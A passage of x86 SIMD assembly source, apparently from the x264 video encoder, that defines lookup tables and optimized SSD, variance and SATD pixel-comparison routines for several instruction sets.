intrax9b_edge2: db 6, 7, 8, 9, 6, 7, 8, 9, 4, 3, 2, 1, 4, 3, 2, 1
intrax9b_v1: db 0, 1,-1,-1,-1,-1,-1,-1, 4, 5,-1,-1,-1,-1,-1,-1
intrax9b_v2: db 2, 3,-1,-1,-1,-1,-1,-1, 6, 7,-1,-1,-1,-1,-1,-1
intrax9b_lut: db 0x60,0x64,0x80,0x00,0x04,0x20,0x40,0x24,0x44,0,0,0,0,0,0,0
intra8x9_h1: db 7, 7, 7, 7, 7, 7, 7, 7, 5, 5, 5, 5, 5, 5, 5, 5
intra8x9_h2: db 6, 6, 6, 6, 6, 6, 6, 6, 4, 4, 4, 4, 4, 4, 4, 4
intra8x9_h3: db 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1
intra8x9_h4: db 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0, 0
intra8x9_ddl1: db 1, 2, 3, 4, 5, 6, 7, 8, 3, 4, 5, 6, 7, 8, 9,10
intra8x9_ddl2: db 2, 3, 4, 5, 6, 7, 8, 9, 4, 5, 6, 7, 8, 9,10,11
intra8x9_ddl3: db 5, 6, 7, 8, 9,10,11,12, 7, 8, 9,10,11,12,13,14
intra8x9_ddl4: db 6, 7, 8, 9,10,11,12,13, 8, 9,10,11,12,13,14,15
intra8x9_vl1: db 0, 1, 2, 3, 4, 5, 6, 7, 1, 2, 3, 4, 5, 6, 7, 8
intra8x9_vl2: db 1, 2, 3, 4, 5, 6, 7, 8, 2, 3, 4, 5, 6, 7, 8, 9
intra8x9_vl3: db 2, 3, 4, 5, 6, 7, 8, 9, 3, 4, 5, 6, 7, 8, 9,10
intra8x9_vl4: db 3, 4, 5, 6, 7, 8, 9,10, 4, 5, 6, 7, 8, 9,10,11
intra8x9_ddr1: db 8, 9,10,11,12,13,14,15, 6, 7, 8, 9,10,11,12,13
intra8x9_ddr2: db 7, 8, 9,10,11,12,13,14, 5, 6, 7, 8, 9,10,11,12
intra8x9_ddr3: db 4, 5, 6, 7, 8, 9,10,11, 2, 3, 4, 5, 6, 7, 8, 9
intra8x9_ddr4: db 3, 4, 5, 6, 7, 8, 9,10, 1, 2, 3, 4, 5, 6, 7, 8
intra8x9_vr1: db 8, 9,10,11,12,13,14,15, 7, 8, 9,10,11,12,13,14
intra8x9_vr2: db 8, 9,10,11,12,13,14,15, 6, 8, 9,10,11,12,13,14
intra8x9_vr3: db 5, 7, 8, 9,10,11,12,13, 3, 5, 7, 8, 9,10,11,12
intra8x9_vr4: db 4, 6, 8, 9,10,11,12,13, 2, 4, 6, 8, 9,10,11,12
intra8x9_hd1: db 3, 8, 9,10,11,12,13,14, 1, 6, 2, 7, 3, 8, 9,10
intra8x9_hd2: db 2, 7, 3, 8, 9,10,11,12, 0, 5, 1, 6, 2, 7, 3, 8
intra8x9_hd3: db 7, 8, 9,10,11,12,13,14, 3, 4, 5, 6, 7, 8, 9,10
intra8x9_hd4: db 5, 6, 7, 8, 9,10,11,12, 1, 2, 3, 4, 5, 6, 7, 8
intra8x9_hu1: db 13,12,11,10, 9, 8, 7, 6, 9, 8, 7, 6, 5, 4, 3, 2
intra8x9_hu2: db 11,10, 9, 8, 7, 6, 5, 4, 7, 6, 5, 4, 3, 2, 1, 0
intra8x9_hu3: db 5, 4, 3, 2, 1, 0,15,15, 1, 0,15,15,15,15,15,15
intra8x9_hu4: db 3, 2, 1, 0,15,15,15,15,15,15,15,15,15,15,15,15
pw_s00112233: dw 0x8000,0x8000,0x8001,0x8001,0x8002,0x8002,0x8003,0x8003
pw_s00001111: dw 0x8000,0x8000,0x8000,0x8000,0x8001,0x8001,0x8001,0x8001
transd_shuf1: SHUFFLE_MASK_W 0, 8, 2, 10, 4, 12, 6, 14
transd_shuf2: SHUFFLE_MASK_W 1, 9, 3, 11, 5, 13, 7, 15
sw_f0: dq 0xfff0, 0
sq_0f: dq 0xffffffff, 0
pd_f0: times 4 dd 0xffff0000
SECTION .text
cextern pb_0
cextern pb_1
cextern pw_1
cextern pw_8
cextern pw_16
cextern pw_32
cextern pw_00ff
cextern pw_ppppmmmm
cextern pw_ppmmppmm
cextern pw_pmpmpmpm
cextern pw_pmmpzzzz
cextern hsub_mul
;=============================================================================
; SSD
;=============================================================================
%if HIGH_BIT_DEPTH
;-----------------------------------------------------------------------------
; int pixel_ssd_MxN( uint16_t *, intptr_t, uint16_t *, intptr_t )
;-----------------------------------------------------------------------------
%macro SSD_ONE 2
cglobal pixel_ssd_%1x%2, 4,5,6
mov r4, %1*%2/mmsize
pxor m0, m0
.loop
mova m1, [r0]
%if %1 <= mmsize/2
mova m3, [r0+r1*2]
%define offset r3*2
%define num_rows 2
%else
mova m3, [r0+mmsize]
%define offset mmsize
%define num_rows 1
%endif
lea r0, [r0+r1*2*num_rows]
psubw m1, [r2]
psubw m3, [r2+offset]
lea r2, [r2+r3*2*num_rows]
pmaddwd m1, m1
pmaddwd m3, m3
paddd m0, m1
paddd m0, m3
dec r4
jg .loop
HADDD m0, m5
movd eax, m0
RET
%endmacro
%macro SSD_16_MMX 2
cglobal pixel_ssd_%1x%2, 4,5
mov r4, %1*%2/mmsize/2
pxor m0, m0
.loop
mova m1, [r0]
mova m2, [r2]
mova m3, [r0+mmsize]
mova m4, [r2+mmsize]
mova m5, [r0+mmsize*2]
mova m6, [r2+mmsize*2]
mova m7, [r0+mmsize*3]
psubw m1, m2
psubw m3, m4
mova m2, [r2+mmsize*3]
psubw m5, m6
pmaddwd m1, m1
psubw m7, m2
pmaddwd m3, m3
pmaddwd m5, m5
lea r0, [r0+r1*2]
lea r2, [r2+r3*2]
pmaddwd m7, m7
paddd m1, m3
paddd m5, m7
paddd m0, m1
paddd m0, m5
dec r4
jg .loop
HADDD m0, m7
movd eax, m0
RET
%endmacro
INIT_MMX mmx2
SSD_ONE 4, 4
SSD_ONE 4, 8
SSD_ONE 4, 16
SSD_ONE 8, 4
SSD_ONE 8, 8
SSD_ONE 8, 16
SSD_16_MMX 16, 8
SSD_16_MMX 16, 16
INIT_XMM sse2
SSD_ONE 8, 4
SSD_ONE 8, 8
SSD_ONE 8, 16
SSD_ONE 16, 8
SSD_ONE 16, 16
%endif ; HIGH_BIT_DEPTH
%if HIGH_BIT_DEPTH == 0
%macro SSD_LOAD_FULL 5
mova m1, [t0+%1]
mova m2, [t2+%2]
mova m3, [t0+%3]
mova m4, [t2+%4]
%if %5==1
add t0, t1
add t2, t3
%elif %5==2
lea t0, [t0+2*t1]
lea t2, [t2+2*t3]
%endif
%endmacro
%macro LOAD 5
movh m%1, %3
movh m%2, %4
%if %5
lea t0, [t0+2*t1]
%endif
%endmacro
%macro JOIN 7
movh m%3, %5
movh m%4, %6
%if %7
lea t2, [t2+2*t3]
%endif
punpcklbw m%1, m7
punpcklbw m%3, m7
psubw m%1, m%3
punpcklbw m%2, m7
punpcklbw m%4, m7
psubw m%2, m%4
%endmacro
%macro JOIN_SSE2 7
movh m%3, %5
movh m%4, %6
%if %7
lea t2, [t2+2*t3]
%endif
punpcklqdq m%1, m%2
punpcklqdq m%3, m%4
DEINTB %2, %1, %4, %3, 7
psubw m%2, m%4
psubw m%1, m%3
%endmacro
%macro JOIN_SSSE3 7
movh m%3, %5
movh m%4, %6
%if %7
lea t2, [t2+2*t3]
%endif
punpcklbw m%1, m%3
punpcklbw m%2, m%4
%endmacro
%macro SSD_LOAD_HALF 5
LOAD 1, 2, [t0+%1], [t0+%3], 1
JOIN 1, 2, 3, 4, [t2+%2], [t2+%4], 1
LOAD 3, 4, [t0+%1], [t0+%3], %5
JOIN 3, 4, 5, 6, [t2+%2], [t2+%4], %5
%endmacro
%macro SSD_CORE 7-8
%ifidn %8, FULL
mova m%6, m%2
mova m%7, m%4
psubusb m%2, m%1
psubusb m%4, m%3
psubusb m%1, m%6
psubusb m%3, m%7
por m%1, m%2
por m%3, m%4
punpcklbw m%2, m%1, m%5
punpckhbw m%1, m%5
punpcklbw m%4, m%3, m%5
punpckhbw m%3, m%5
%endif
pmaddwd m%1, m%1
pmaddwd m%2, m%2
pmaddwd m%3, m%3
pmaddwd m%4, m%4
%endmacro
%macro SSD_CORE_SSE2 7-8
%ifidn %8, FULL
DEINTB %6, %1, %7, %2, %5
psubw m%6, m%7
psubw m%1, m%2
SWAP %6, %2, %1
DEINTB %6, %3, %7, %4, %5
psubw m%6, m%7
psubw m%3, m%4
SWAP %6, %4, %3
%endif
pmaddwd m%1, m%1
pmaddwd m%2, m%2
pmaddwd m%3, m%3
pmaddwd m%4, m%4
%endmacro
%macro SSD_CORE_SSSE3 7-8
%ifidn %8, FULL
punpckhbw m%6, m%1, m%2
punpckhbw m%7, m%3, m%4
punpcklbw m%1, m%2
punpcklbw m%3, m%4
SWAP %6, %2, %3
SWAP %7, %4
%endif
pmaddubsw m%1, m%5
pmaddubsw m%2, m%5
pmaddubsw m%3, m%5
pmaddubsw m%4, m%5
pmaddwd m%1, m%1
pmaddwd m%2, m%2
pmaddwd m%3, m%3
pmaddwd m%4, m%4
%endmacro
%macro SSD_ITER 6
SSD_LOAD_%1 %2,%3,%4,%5,%6
SSD_CORE 1, 2, 3, 4, 7, 5, 6, %1
paddd m1, m2
paddd m3, m4
paddd m0, m1
paddd m0, m3
%endmacro
;-----------------------------------------------------------------------------
; int pixel_ssd_16x16( uint8_t *, intptr_t, uint8_t *, intptr_t )
;-----------------------------------------------------------------------------
%macro SSD 2
%if %1 != %2
%assign function_align 8
%else
%assign function_align 16
%endif
cglobal pixel_ssd_%1x%2, 0,0,0
mov al, %1*%2/mmsize/2
%if %1 != %2
jmp mangle(x264_pixel_ssd_%1x%1 %+ SUFFIX %+ .startloop)
%else
.startloop:
%if ARCH_X86_64
DECLARE_REG_TMP 0,1,2,3
PROLOGUE 0,0,8
%else
PROLOGUE 0,5
DECLARE_REG_TMP 1,2,3,4
mov t0, r0m
mov t1, r1m
mov t2, r2m
mov t3, r3m
%endif
%if cpuflag(ssse3)
mova m7, [hsub_mul]
%elifidn cpuname, sse2
mova m7, [pw_00ff]
%elif %1 >= mmsize
pxor m7, m7
%endif
pxor m0, m0
ALIGN 16
.loop:
%if %1 > mmsize
SSD_ITER FULL, 0, 0, mmsize, mmsize, 1
%elif %1 == mmsize
SSD_ITER FULL, 0, 0, t1, t3, 2
%else
SSD_ITER HALF, 0, 0, t1, t3, 2
%endif
dec al
jg .loop
HADDD m0, m1
movd eax, m0
RET
%endif
%endmacro
INIT_MMX mmx
SSD 16, 16
SSD 16, 8
SSD 8, 8
SSD 8, 16
SSD 4, 4
SSD 8, 4
SSD 4, 8
SSD 4, 16
INIT_XMM sse2slow
SSD 16, 16
SSD 8, 8
SSD 16, 8
SSD 8, 16
SSD 8, 4
INIT_XMM sse2
%define SSD_CORE SSD_CORE_SSE2
%define JOIN JOIN_SSE2
SSD 16, 16
SSD 8, 8
SSD 16, 8
SSD 8, 16
SSD 8, 4
INIT_XMM ssse3
%define SSD_CORE SSD_CORE_SSSE3
%define JOIN JOIN_SSSE3
SSD 16, 16
SSD 8, 8
SSD 16, 8
SSD 8, 16
SSD 8, 4
INIT_XMM avx
SSD 16, 16
SSD 8, 8
SSD 16, 8
SSD 8, 16
SSD 8, 4
INIT_MMX ssse3
SSD 4, 4
SSD 4, 8
SSD 4, 16
INIT_XMM xop
SSD 16, 16
SSD 8, 8
SSD 16, 8
SSD 8, 16
SSD 8, 4
%assign function_align 16
%endif ; !HIGH_BIT_DEPTH
;-----------------------------------------------------------------------------
; void pixel_ssd_nv12_core( uint16_t *pixuv1, intptr_t stride1, uint16_t *pixuv2, intptr_t stride2,
; int width, int height, uint64_t *ssd_u, uint64_t *ssd_v )
;
; The maximum width this function can handle without risk of overflow is given
; in the following equation: (mmsize in bits)
;
; 2 * mmsize/32 * (2^32 - 1) / (2^BIT_DEPTH - 1)^2
;
; For 10-bit MMX this means width >= 16416 and for XMM >= 32832. At sane
; distortion levels it will take much more than that though.
;-----------------------------------------------------------------------------
%if HIGH_BIT_DEPTH
%macro SSD_NV12 0
cglobal pixel_ssd_nv12_core, 6,7,7
shl r4d, 2
FIX_STRIDES r1, r3
add r0, r4
add r2, r4
xor r6, r6
pxor m4, m4
pxor m5, m5
pxor m6, m6
.loopy:
mov r6, r4
neg r6
pxor m2, m2
pxor m3, m3
.loopx:
mova m0, [r0+r6]
mova m1, [r0+r6+mmsize]
psubw m0, [r2+r6]
psubw m1, [r2+r6+mmsize]
PSHUFLW m0, m0, q3120
PSHUFLW m1, m1, q3120
%if mmsize==16
pshufhw m0, m0, q3120
pshufhw m1, m1, q3120
%endif
pmaddwd m0, m0
pmaddwd m1, m1
paddd m2, m0
paddd m3, m1
add r6, 2*mmsize
jl .loopx
%if mmsize==16 ; using HADDD would remove the mmsize/32 part from the
; equation above, putting the width limit at 8208
punpckhdq m0, m2, m6
punpckhdq m1, m3, m6
punpckldq m2, m6
punpckldq m3, m6
paddq m3, m2
paddq m1, m0
paddq m4, m3
paddq m4, m1
%else ; unfortunately paddq is sse2
; emulate 48 bit precision for mmx2 instead
mova m0, m2
mova m1, m3
punpcklwd m2, m6
punpcklwd m3, m6
punpckhwd m0, m6
punpckhwd m1, m6
paddd m3, m2
paddd m1, m0
paddd m4, m3
paddd m5, m1
%endif
add r0, r1
add r2, r3
dec r5d
jg .loopy
mov r3, r6m
mov r4, r7m
%if mmsize==16
movq [r3], m4
movhps [r4], m4
%else ; fixup for mmx2
SBUTTERFLY dq, 4, 5, 0
mova m0, m4
psrld m4, 16
paddd m5, m4
pslld m0, 16
SBUTTERFLY dq, 0, 5, 4
psrlq m0, 16
psrlq m5, 16
movq [r3], m0
movq [r4], m5
%endif
RET
%endmacro ; SSD_NV12
%endif ; HIGH_BIT_DEPTH
%if HIGH_BIT_DEPTH == 0
;-----------------------------------------------------------------------------
; void pixel_ssd_nv12_core( uint8_t *pixuv1, intptr_t stride1, uint8_t *pixuv2, intptr_t stride2,
; int width, int height, uint64_t *ssd_u, uint64_t *ssd_v )
;
; This implementation can potentially overflow on image widths >= 11008 (or
; 6604 if interlaced), since it is called on blocks of height up to 12 (resp
; 20). At sane distortion levels it will take much more than that though.
;-----------------------------------------------------------------------------
%macro SSD_NV12 0
cglobal pixel_ssd_nv12_core, 6,7
shl r4d, 1
add r0, r4
add r2, r4
pxor m3, m3
pxor m4, m4
mova m5, [pw_00ff]
.loopy:
mov r6, r4
neg r6
.loopx:
mova m0, [r0+r6]
mova m1, [r2+r6]
psubusb m0, m1
psubusb m1, [r0+r6]
por m0, m1
psrlw m2, m0, 8
pand m0, m5
pmaddwd m2, m2
pmaddwd m0, m0
paddd m3, m0
paddd m4, m2
add r6, mmsize
jl .loopx
add r0, r1
add r2, r3
dec r5d
jg .loopy
mov r3, r6m
mov r4, r7m
mova m5, [sq_0f]
HADDD m3, m0
HADDD m4, m0
pand m3, m5
pand m4, m5
movq [r3], m3
movq [r4], m4
RET
%endmacro ; SSD_NV12
%endif ; !HIGH_BIT_DEPTH
INIT_MMX mmx2
SSD_NV12
INIT_XMM sse2
SSD_NV12
INIT_XMM avx
SSD_NV12
;=============================================================================
; variance
;=============================================================================
%macro VAR_START 1
pxor m5, m5 ; sum
pxor m6, m6 ; sum squared
%if HIGH_BIT_DEPTH == 0
%if %1
mova m7, [pw_00ff]
%else
pxor m7, m7 ; zero
%endif
%endif ; !HIGH_BIT_DEPTH
%endmacro
%macro VAR_END 2
%if HIGH_BIT_DEPTH
%if mmsize == 8 && %1*%2 == 256
HADDUW m5, m2
%else
HADDW m5, m2
%endif
%else ; !HIGH_BIT_DEPTH
HADDW m5, m2
%endif ; HIGH_BIT_DEPTH
movd eax, m5
HADDD m6, m1
movd edx, m6
%if ARCH_X86_64
shl rdx, 32
add rax, rdx
%endif
RET
%endmacro
%macro VAR_CORE 0
paddw m5, m0
paddw m5, m3
paddw m5, m1
paddw m5, m4
pmaddwd m0, m0
pmaddwd m3, m3
pmaddwd m1, m1
pmaddwd m4, m4
paddd m6, m0
paddd m6, m3
paddd m6, m1
paddd m6, m4
%endmacro
%macro VAR_2ROW 2
mov r2d, %2
.loop:
%if HIGH_BIT_DEPTH
mova m0, [r0]
mova m1, [r0+mmsize]
mova m3, [r0+%1]
mova m4, [r0+%1+mmsize]
%else ; !HIGH_BIT_DEPTH
mova m0, [r0]
punpckhbw m1, m0, m7
mova m3, [r0+%1]
mova m4, m3
punpcklbw m0, m7
%endif ; HIGH_BIT_DEPTH
%ifidn %1, r1
lea r0, [r0+%1*2]
%else
add r0, r1
%endif
%if HIGH_BIT_DEPTH == 0
punpcklbw m3, m7
punpckhbw m4, m7
%endif ; !HIGH_BIT_DEPTH
VAR_CORE
dec r2d
jg .loop
%endmacro
;-----------------------------------------------------------------------------
; int pixel_var_wxh( uint8_t *, intptr_t )
;-----------------------------------------------------------------------------
INIT_MMX mmx2
cglobal pixel_var_16x16, 2,3
FIX_STRIDES r1
VAR_START 0
VAR_2ROW 8*SIZEOF_PIXEL, 16
VAR_END 16, 16
cglobal pixel_var_8x16, 2,3
FIX_STRIDES r1
VAR_START 0
VAR_2ROW r1, 8
VAR_END 8, 16
cglobal pixel_var_8x8, 2,3
FIX_STRIDES r1
VAR_START 0
VAR_2ROW r1, 4
VAR_END 8, 8
%if HIGH_BIT_DEPTH
%macro VAR 0
cglobal pixel_var_16x16, 2,3,8
FIX_STRIDES r1
VAR_START 0
VAR_2ROW r1, 8
VAR_END 16, 16
cglobal pixel_var_8x8, 2,3,8
lea r2, [r1*3]
VAR_START 0
mova m0, [r0]
mova m1, [r0+r1*2]
mova m3, [r0+r1*4]
mova m4, [r0+r2*2]
lea r0, [r0+r1*8]
VAR_CORE
mova m0, [r0]
mova m1, [r0+r1*2]
mova m3, [r0+r1*4]
mova m4, [r0+r2*2]
VAR_CORE
VAR_END 8, 8
%endmacro ; VAR
INIT_XMM sse2
VAR
INIT_XMM avx
VAR
INIT_XMM xop
VAR
%endif ; HIGH_BIT_DEPTH
%if HIGH_BIT_DEPTH == 0
%macro VAR 0
cglobal pixel_var_16x16, 2,3,8
VAR_START 1
mov r2d, 8
.loop:
mova m0, [r0]
mova m3, [r0+r1]
DEINTB 1, 0, 4, 3, 7
lea r0, [r0+r1*2]
VAR_CORE
dec r2d
jg .loop
VAR_END 16, 16
cglobal pixel_var_8x8, 2,4,8
VAR_START 1
mov r2d, 2
lea r3, [r1*3]
.loop:
movh m0, [r0]
movh m3, [r0+r1]
movhps m0, [r0+r1*2]
movhps m3, [r0+r3]
DEINTB 1, 0, 4, 3, 7
lea r0, [r0+r1*4]
VAR_CORE
dec r2d
jg .loop
VAR_END 8, 8
cglobal pixel_var_8x16, 2,4,8
VAR_START 1
mov r2d, 4
lea r3, [r1*3]
.loop:
movh m0, [r0]
movh m3, [r0+r1]
movhps m0, [r0+r1*2]
movhps m3, [r0+r3]
DEINTB 1, 0, 4, 3, 7
lea r0, [r0+r1*4]
VAR_CORE
dec r2d
jg .loop
VAR_END 8, 16
%endmacro ; VAR
INIT_XMM sse2
VAR
INIT_XMM avx
VAR
INIT_XMM xop
VAR
%endif ; !HIGH_BIT_DEPTH
%macro VAR2_END 1
HADDW m5, m7
movd r1d, m5
imul r1d, r1d
HADDD m6, m1
shr r1d, %1
movd eax, m6
mov [r4], eax
sub eax, r1d ; sqr - (sum * sum >> shift)
RET
%endmacro
;-----------------------------------------------------------------------------
; int pixel_var2_8x8( pixel *, intptr_t, pixel *, intptr_t, int * )
;-----------------------------------------------------------------------------
%macro VAR2_8x8_MMX 2
cglobal pixel_var2_8x%1, 5,6
FIX_STRIDES r1, r3
VAR_START 0
mov r5d, %1
.loop:
%if HIGH_BIT_DEPTH
mova m0, [r0]
mova m1, [r0+mmsize]
psubw m0, [r2]
psubw m1, [r2+mmsize]
%else ; !HIGH_BIT_DEPTH
movq m0, [r0]
movq m1, m0
movq m2, [r2]
movq m3, m2
punpcklbw m0, m7
punpckhbw m1, m7
punpcklbw m2, m7
punpckhbw m3, m7
psubw m0, m2
psubw m1, m3
%endif ; HIGH_BIT_DEPTH
paddw m5, m0
paddw m5, m1
pmaddwd m0, m0
pmaddwd m1, m1
paddd m6, m0
paddd m6, m1
add r0, r1
add r2, r3
dec r5d
jg .loop
VAR2_END %2
%endmacro
%if ARCH_X86_64 == 0
INIT_MMX mmx2
VAR2_8x8_MMX 8, 6
VAR2_8x8_MMX 16, 7
%endif
%macro VAR2_8x8_SSE2 2
cglobal pixel_var2_8x%1, 5,6,8
VAR_START 1
mov r5d, %1/2
.loop:
%if HIGH_BIT_DEPTH
mova m0, [r0]
mova m1, [r0+r1*2]
mova m2, [r2]
mova m3, [r2+r3*2]
%else ; !HIGH_BIT_DEPTH
movq m1, [r0]
movhps m1, [r0+r1]
movq m3, [r2]
movhps m3, [r2+r3]
DEINTB 0, 1, 2, 3, 7
%endif ; HIGH_BIT_DEPTH
psubw m0, m2
psubw m1, m3
paddw m5, m0
paddw m5, m1
pmaddwd m0, m0
pmaddwd m1, m1
paddd m6, m0
paddd m6, m1
lea r0, [r0+r1*2*SIZEOF_PIXEL]
lea r2, [r2+r3*2*SIZEOF_PIXEL]
dec r5d
jg .loop
VAR2_END %2
%endmacro
INIT_XMM sse2
VAR2_8x8_SSE2 8, 6
VAR2_8x8_SSE2 16, 7
%if HIGH_BIT_DEPTH == 0
%macro VAR2_8x8_SSSE3 2
cglobal pixel_var2_8x%1, 5,6,8
pxor m5, m5 ; sum
pxor m6, m6 ; sum squared
mova m7, [hsub_mul]
mov r5d, %1/4
.loop:
movq m0, [r0]
movq m2, [r2]
movq m1, [r0+r1]
movq m3, [r2+r3]
lea r0, [r0+r1*2]
lea r2, [r2+r3*2]
punpcklbw m0, m2
punpcklbw m1, m3
movq m2, [r0]
movq m3, [r2]
punpcklbw m2, m3
movq m3, [r0+r1]
movq m4, [r2+r3]
punpcklbw m3, m4
pmaddubsw m0, m7
pmaddubsw m1, m7
pmaddubsw m2, m7
pmaddubsw m3, m7
paddw m5, m0
paddw m5, m1
paddw m5, m2
paddw m5, m3
pmaddwd m0, m0
pmaddwd m1, m1
pmaddwd m2, m2
pmaddwd m3, m3
paddd m6, m0
paddd m6, m1
paddd m6, m2
paddd m6, m3
lea r0, [r0+r1*2]
lea r2, [r2+r3*2]
dec r5d
jg .loop
VAR2_END %2
%endmacro
INIT_XMM ssse3
VAR2_8x8_SSSE3 8, 6
VAR2_8x8_SSSE3 16, 7
INIT_XMM xop
VAR2_8x8_SSSE3 8, 6
VAR2_8x8_SSSE3 16, 7
%endif ; !HIGH_BIT_DEPTH
;=============================================================================
; SATD
;=============================================================================
%macro JDUP 2
%if cpuflag(sse4)
; just use shufps on anything post conroe
shufps %1, %2, 0
%elif cpuflag(ssse3)
; join 2x 32 bit and duplicate them
; emulating shufps is faster on conroe
punpcklqdq %1, %2
movsldup %1, %1
%else
; doesn't need to dup. sse2 does things by zero extending to words and full h_2d
punpckldq %1, %2
%endif
%endmacro
%macro HSUMSUB 5
pmaddubsw m%2, m%5
pmaddubsw m%1, m%5
pmaddubsw m%4, m%5
pmaddubsw m%3, m%5
%endmacro
%macro DIFF_UNPACK_SSE2 5
punpcklbw m%1, m%5
punpcklbw m%2, m%5
punpcklbw m%3, m%5
punpcklbw m%4, m%5
psubw m%1, m%2
psubw m%3, m%4
%endmacro
%macro DIFF_SUMSUB_SSSE3 5
HSUMSUB %1, %2, %3, %4, %5
psubw m%1, m%2
psubw m%3, m%4
%endmacro
%macro LOAD_DUP_2x4P 4 ; dst, tmp, 2* pointer
movd %1, %3
movd %2, %4
JDUP %1, %2
%endmacro
%macro LOAD_DUP_4x8P_CONROE 8 ; 4*dst, 4*pointer
movddup m%3, %6
movddup m%4, %8
movddup m%1, %5
movddup m%2, %7
%endmacro
%macro LOAD_DUP_4x8P_PENRYN 8
; penryn and nehalem run punpcklqdq and movddup in different units
movh m%3, %6
movh m%4, %8
punpcklqdq m%3, m%3
movddup m%1, %5
punpcklqdq m%4, m%4
movddup m%2, %7
%endmacro
%macro LOAD_SUMSUB_8x2P 9
LOAD_DUP_4x8P %1, %2, %3, %4, %6, %7, %8, %9
DIFF_SUMSUB_SSSE3 %1, %3, %2, %4, %5
%endmacro
%macro LOAD_SUMSUB_8x4P_SSSE3 7-10 r0, r2, 0
; 4x dest, 2x tmp, 1x mul, [2* ptr], [increment?]
LOAD_SUMSUB_8x2P %1, %2, %5, %6, %7, [%8], [%9], [%8+r1], [%9+r3]
LOAD_SUMSUB_8x2P %3, %4, %5, %6, %7, [%8+2*r1], [%9+2*r3], [%8+r4], [%9+r5]
%if %10
lea %8, [%8+4*r1]
lea %9, [%9+4*r3]
%endif
%endmacro
%macro LOAD_SUMSUB_16P_SSSE3 7 ; 2*dst, 2*tmp, mul, 2*ptr
movddup m%1, [%7]
movddup m%2, [%7+8]
mova m%4, [%6]
movddup m%3, m%4
punpckhqdq m%4, m%4
DIFF_SUMSUB_SSSE3 %1, %3, %2, %4, %5
%endmacro
%macro LOAD_SUMSUB_16P_SSE2 7 ; 2*dst, 2*tmp, mask, 2*ptr
movu m%4, [%7]
mova m%2, [%6]
DEINTB %1, %2, %3, %4, %5
psubw m%1, m%3
psubw m%2, m%4
SUMSUB_BA w, %1, %2, %3
%endmacro
%macro LOAD_SUMSUB_16x4P 10-13 r0, r2, none
; 8x dest, 1x tmp, 1x mul, [2* ptr] [2nd tmp]
LOAD_SUMSUB_16P %1, %5, %2, %3, %10, %11, %12
LOAD_SUMSUB_16P %2, %6, %3, %4, %10, %11+r1, %12+r3
LOAD_SUMSUB_16P %3, %7, %4, %9, %10, %11+2*r1, %12+2*r3
LOAD_SUMSUB_16P %4, %8, %13, %9, %10, %11+r4, %12+r5
%endmacro
; in: r4=3*stride1, r5=3*stride2
; in: %2 = horizontal offset
; in: %3 = whether we need to increment pix1 and pix2
; clobber: m3..m7
; out: %1 = satd
%macro SATD_4x4_MMX 3
%xdefine %%n n%1
%assign offset %2*SIZEOF_PIXEL
LOAD_DIFF m4, m3, none, [r0+ offset], [r2+ offset]
LOAD_DIFF m5, m3, none, [r0+ r1+offset], [r2+ r3+offset]
LOAD_DIFF m6, m3, none, [r0+2*r1+offset], [r2+2*r3+offset]
LOAD_DIFF m7, m3, none, [r0+ r4+offset], [r2+ r5+offset]
%if %3
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
%endif
HADAMARD4_2D 4, 5, 6, 7, 3, %%n
paddw m4, m6
SWAP %%n, 4
%endmacro
%macro SATD_8x4_SSE 8-9
%ifidn %1, sse2
HADAMARD4_2D_SSE %2, %3, %4, %5, %6, amax
%else
HADAMARD4_V %2, %3, %4, %5, %6
; doing the abs first is a slight advantage
ABSW2 m%2, m%4, m%2, m%4, m%6, m%7
ABSW2 m%3, m%5, m%3, m%5, m%6, m%7
HADAMARD 1, max, %2, %4, %6, %7
%endif
%ifnidn %9, swap
paddw m%8, m%2
%else
SWAP %8, %2
%endif
%ifidn %1, sse2
paddw m%8, m%4
%else
HADAMARD 1, max, %3, %5, %6, %7
paddw m%8, m%3
%endif
%endmacro
%macro SATD_START_MMX 0
FIX_STRIDES r1, r3
lea r4, [3*r1] ; 3*stride1
lea r5, [3*r3] ; 3*stride2
%endmacro
%macro SATD_END_MMX 0
%if HIGH_BIT_DEPTH
HADDUW m0, m1
movd eax, m0
%else ; !HIGH_BIT_DEPTH
pshufw m1, m0, q1032
paddw m0, m1
pshufw m1, m0, q2301
paddw m0, m1
movd eax, m0
and eax, 0xffff
%endif ; HIGH_BIT_DEPTH
RET
%endmacro
; FIXME avoid the spilling of regs to hold 3*stride.
; for small blocks on x86_32, modify pixel pointer instead.
;-----------------------------------------------------------------------------
; int pixel_satd_16x16( uint8_t *, intptr_t, uint8_t *, intptr_t )
;-----------------------------------------------------------------------------
INIT_MMX mmx2
cglobal pixel_satd_16x4_internal
SATD_4x4_MMX m2, 0, 0
SATD_4x4_MMX m1, 4, 0
paddw m0, m2
SATD_4x4_MMX m2, 8, 0
paddw m0, m1
SATD_4x4_MMX m1, 12, 0
paddw m0, m2
paddw m0, m1
ret
cglobal pixel_satd_8x8_internal
SATD_4x4_MMX m2, 0, 0
SATD_4x4_MMX m1, 4, 1
paddw m0, m2
paddw m0, m1
pixel_satd_8x4_internal_mmx2:
SATD_4x4_MMX m2, 0, 0
SATD_4x4_MMX m1, 4, 0
paddw m0, m2
paddw m0, m1
ret
%if HIGH_BIT_DEPTH
%macro SATD_MxN_MMX 3
cglobal pixel_satd_%1x%2, 4,7
SATD_START_MMX
pxor m0, m0
call pixel_satd_%1x%3_internal_mmx2
HADDUW m0, m1
movd r6d, m0
%rep %2/%3-1
pxor m0, m0
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
call pixel_satd_%1x%3_internal_mmx2
movd m2, r4
HADDUW m0, m1
movd r4, m0
add r6, r4
movd r4, m2
%endrep
movifnidn eax, r6d
RET
%endmacro
SATD_MxN_MMX 16, 16, 4
SATD_MxN_MMX 16, 8, 4
SATD_MxN_MMX 8, 16, 8
%endif ; HIGH_BIT_DEPTH
%if HIGH_BIT_DEPTH == 0
cglobal pixel_satd_16x16, 4,6
SATD_START_MMX
pxor m0, m0
%rep 3
call pixel_satd_16x4_internal_mmx2
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
%endrep
call pixel_satd_16x4_internal_mmx2
HADDUW m0, m1
movd eax, m0
RET
cglobal pixel_satd_16x8, 4,6
SATD_START_MMX
pxor m0, m0
call pixel_satd_16x4_internal_mmx2
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
call pixel_satd_16x4_internal_mmx2
SATD_END_MMX
cglobal pixel_satd_8x16, 4,6
SATD_START_MMX
pxor m0, m0
